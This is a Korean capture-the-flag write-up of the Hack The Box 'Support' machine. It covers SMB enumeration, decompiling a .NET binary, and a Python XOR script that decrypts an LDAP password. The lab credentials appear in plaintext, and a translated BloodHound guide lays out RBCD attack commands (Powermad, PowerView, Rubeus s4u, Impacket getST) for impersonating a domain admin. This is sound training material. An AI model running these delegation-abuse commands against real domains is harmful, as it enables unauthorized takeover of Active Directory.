
먼저 nmap. 기존 옵션이 부족해서 추가해줌



추가 먼저 해주고.

smb 접속 ㄱㄱ

접속 성공! 이 중 뭘 먼저 분석할지는 지피티에게 물어봄.


우리는 계정 탈취를 해야하니 딱 보이는 저 유저인포를 해보자. 다운 ㄱ


일단 파일 정보 확인을 해본다.

다음은 저 net파일이라는 걸 분석하기 위해, ILSpy를 다운로드 해줌.
이때 저 net이란 뭘까?


리버싱에서 익숙한 ida툴을 쓰고 싶었는데, 그건 비추라 한다..ILSPY가 더 간단하다 함. 다운 먼저 하자.

압축 해제,,

폴더 경로를 몰라서, 파일 명 검색으로 찾아줌.

권한 주고, ILSpy 실행ㄱ

USER.INFO 파일을 OPEN함.

보면 안에 있던 기존 코드 내용을 볼 수 있다.
각 함수들을 살펴보자.
그 중 유의미한 함수는 다음과 같다. LdapQuery함수 먼저.

계정 명 LDAP에 대해 비밀번호와 함께 조합하는 듯 하다.
비번도 획득하자. 이건 복호화 함수같다.

base64변환해주고, 인덱스별 키랑 xor해주는 듯
저 코드를 직접 복호화 해보자. 이건 리버싱에서 많이 해본 방식과 익숙하다,,,
복화화 코드)(이건 지피티에게 짜달라했다)
import base64
encoded_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
xor_key = "armando"
xor_value = 0xDF
decoded_bytes = base64.b64decode(encoded_password)
result = ""
for i in range(len(decoded_bytes)):
key_byte = ord(xor_key[i % len(xor_key)])
decrypted_byte = decoded_bytes[i] ^ key_byte ^ xor_value
result += chr(decrypted_byte)
print(result)
결과)
비밀번호: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

이제 LDAP에 접속을 시도해보려 함. 유틸은 이미 설치됨. 검색 ㄱㄱ

계정-비번 조합이 확인 되었다!

ID: support
PW: Ironside47pleasure40Watchful
위에 적힌 MEMBER OF 도 해석하자면 이렇다
>> WinRM 접속 가능 그룹에 속함
>> 추후 권한상승에 쓸 Shared Support Accounts 그룹에도 속함
바로 접속 시도 ㄱㄱ

유저 플래그 획득!

이제 루트 플래그를 딸 차례다,,
이제부터는 이전 FOREST처럼 블러드 하운드를 사용할거임.
먼저 샤프하운드 먼저 다운받아 업로드 후 실행~

이제 블러드 하운드 켜줌. (팀원분 추천으로 중간에 래거시대신 CE로 재설치 해줬다)
shortest paths from owned principals>

Find all Domain Admins>

Find Shortest Paths to Domain Admins>

+ 추가로 버전 CE로 분석해봄. 이 버전에 pathfinding이 있음.

(참고로 CanPSRemote를 필터에서 꺼주는 것을 추천. 경로를 최소한으로 보여주다보니 생략 넘 많다)

권한 정리)
CanPSRemote: 이건 그냥 내 support계정이 winRM같은 권환 가진다는 뜻. 이미 내가 한 과정임.
GenericAll: 앞 머신 forest에도 나온 핵심 권한. 대상 AD 객체에 대한 거의 모든 제어 권한. 즉, support 계정이 저 객체에 대한 무언가 조작이 가능하다는 소리이다.
여기서 저 genericAll을 어떻게 활용할지 세부 정보를 확인하자.

설명 번역)
윈도우)
Shadow Credentials 공격
이 권한을 악용하려면 Whisker를 사용한다.
현재 실행 중인 프로세스가 SHARED SUPPORT ACCOUNTS@SUPPORT.HTB의 구성원 권한으로 실행 중이 아니라면, 먼저 해당 그룹 구성원 계정으로 도메인 컨트롤러에 인증해야 할 수 있다.
Whisker.exe add /target:<TargetPrincipal>
다른 선택 옵션은 Whisker 문서를 참고하면 된다.
RBCD 공격
이 권한은 Rubeus 프로젝트를 통해 악용할 수 있다.
먼저 공격자가 SPN이 설정된 계정을 가지고 있지 않다면, Kevin Robertson의 Powermad 프로젝트를 사용해서 공격자가 제어하는 새 컴퓨터 계정을 만들 수 있다.
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)
그 다음 PowerView를 사용해서 방금 만든 컴퓨터 계정의 SID를 가져온다.
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid
이제 공격자가 추가한 컴퓨터 계정의 SID를 principal로 하는 ACE를 만들고, 새 DACL/ACE의 바이너리 바이트를 만든다.
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
그 다음 이 새 보안 설명자를 우리가 장악하려는 컴퓨터 계정의 msDS-AllowedToActOnBehalfOfOtherIdentity 필드에 설정한다. 여기서는 PowerView를 사용한다.
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
이제 Rubeus를 사용해서 평문 비밀번호를 RC4_HMAC 해시 형태로 바꾼다.
Rubeus.exe hash /password:Summer2018!
마지막으로 Rubeus의 s4u 모듈을 사용해서 우리가 admin인 척하고 싶은 서비스 이름, 즉 sname에 대한 서비스 티켓을 얻는다. /ptt 옵션 덕분에 이 티켓은 현재 세션에 바로 주입된다. 이 경우 TARGETCOMPUTER의 파일 시스템에 접근할 수 있게 된다.
Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt
리눅스)
먼저, 공격자가 SPN이 설정된 계정을 제어하고 있지 않은 경우, Impacket의 addcomputer.py 예제 스크립트를 사용해서 공격자가 제어하는 새 컴퓨터 계정을 추가할 수 있다.
addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'
이제 공격자가 제어하는 컴퓨터 계정이 대상 객체에 위임할 수 있도록, 대상 객체를 설정해야 한다. 이 작업에는 Impacket의 rbcd.py 스크립트를 사용할 수 있다.
rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'
마지막으로, 우리가 “admin인 척” 접근하고 싶은 서비스 이름, 즉 sname에 대한 서비스 티켓을 얻을 수 있다. 이 작업에는 Impacket의 getST.py 예제 스크립트를 사용할 수 있다.
getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'
이 티켓은 이후 Pass-the-Ticket 공격에 사용할 수 있으며, TARGETCOMPUTER의 파일 시스템에 접근 권한을 줄 수도 있다.
즉, 설명에 따르면 RBCD라는 방식을 사용하는 것 같은데, 이해가 안가서 다시 질문 ㄱㄱ
정리하자면 이렇다.
RBCD = Resource-Based Constrained Delegation
delegation: 서버가 다른 서버를 대신해 인증 받는 방식.
> 기존 방식: 서비스를 제공해주는 서버에서 저 delegation을 설정함
> 우리가 할 방식: 기존의 반대. 서비스 제공해주는 쪽이 아닌, 리소스를 가진 서비스를 받는 측에서 저 delegation을 사용해주는 것.
이제 블러드 하운드 설명에 따라 우리가 할 과정은 다음과 같다.
(다음 과정은 지피티를 통해 저 위 번역을 복붙해서, 내가 어떻게 할 수 있을지 질문해보았다)


취약 조건 만족하는지 확인)
MachineAccountQuota 확인> 값이 0보다 큰 걸 확인.

DC의 RBCD 설정이 비어있는지 확인>

필요 툴 설치) - 아래 공격 과정에서 필요할 때마다 각각 설치+winRM에 업로드 해줘야 함,,
PowerView.ps1: AD 정보 확인 시 사용


Powermad.ps1: New-MachineAccount 함수를 쓰려고 필요함.


업로드 후 확인

Rubeus.exe: Kerberos 티켓 만들 때 씀.


공격)
가짜 컴퓨터 계정 만들기>

dc에 가짜 컴퓨터 계정 등록>
gpt 안내에 따라 비어있는지 확인

그리고 dc에 등록함.

설정 후 확인,,

방금은 dc에서 비워있던 게, 지금은 뭔가 채워짐

티켓 가져오기 >
툴 Rubeus.exe라는 걸 사용

물어보니 rc4_hmac값을 복사하면 된다고 한다.
이게 내 가짜 컴터의 rc4해시가 됨.
이제 티켓만 받으면 된다.
FAKE-COMP01$ 컴퓨터 계정으로 관리자인 척해서 dc.support.htb의 CIFS 티켓을 받으면 됨.

결과가 긴데, 여기서 마지막 티켓만 받으면 됨.
우선 마지막 티켓 그대로 복붙해서 파일 생성 ㄱ

혹시 모르니 공백 제거

base64 디코딩

(확인)

kirbi → ccache 변환>
기존 티켓은 타겟 윈도우에 대한 티켓이라, 리눅스 형식으로 티켓 변환히 필요하다 함.


(확인)

티켓 적용>

마지막!!! 쉘 따기!!!

플래그 획득!
